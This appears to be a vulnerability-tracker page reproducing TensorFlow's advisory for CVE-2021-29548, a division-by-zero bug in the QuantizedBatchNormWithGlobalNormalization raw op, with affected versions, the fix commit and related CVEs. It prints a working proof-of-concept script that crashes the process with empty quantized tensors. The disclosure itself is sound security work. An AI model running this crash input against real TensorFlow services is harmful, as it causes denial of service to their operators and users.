CVE-2021-29548Low· 2.5▾ SunlitDivision by 0 in `QuantizedBatchNormWithGlobalNormalization`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 13.8 · likelihood 0 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:
import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
This is because the implementation does not validate all constraints specified in the op's contract.
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team
tensorflow < 2.1.4tensorflow >= 2.2.0, < 2.2.3tensorflow >= 2.3.0, < 2.3.3tensorflow >= 2.4.0, < 2.4.2tensorflow-cpu < 2.1.4tensorflow-cpu >= 2.2.0, < 2.2.3tensorflow-cpu >= 2.3.0, < 2.3.3tensorflow-cpu >= 2.4.0, < 2.4.2tensorflow-gpu < 2.1.4tensorflow-gpu >= 2.2.0, < 2.2.3tensorflow-gpu >= 2.3.0, < 2.3.3tensorflow-gpu >= 2.4.0, < 2.4.2Upgrade to a patched release:
tensorflow 2.1.4tensorflow 2.2.3tensorflow 2.3.3tensorflow 2.4.2tensorflow-cpu 2.1.4tensorflow-cpu 2.2.3tensorflow-cpu 2.3.3tensorflow-cpu 2.4.2tensorflow-gpu 2.1.4tensorflow-gpu 2.2.3tensorflow-gpu 2.3.3tensorflow-gpu 2.4.2Connected by shared product, vendor, weakness, or advisory.
CVE-2021-29547Low· 2.5Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
CVE-2021-29541Low· 2.5Null pointer dereference in `StringNGrams`
CVE-2021-29525Low· 2.5Division by 0 in `Conv2DBackpropInput`
CVE-2021-29527Low· 2.5Division by 0 in `QuantizedConv2D`
CVE-2021-29524Low· 2.5Division by 0 in `Conv2DBackpropFilter`
CVE-2020-15207High· 8.7Segfault and data corruption in tensorflow-lite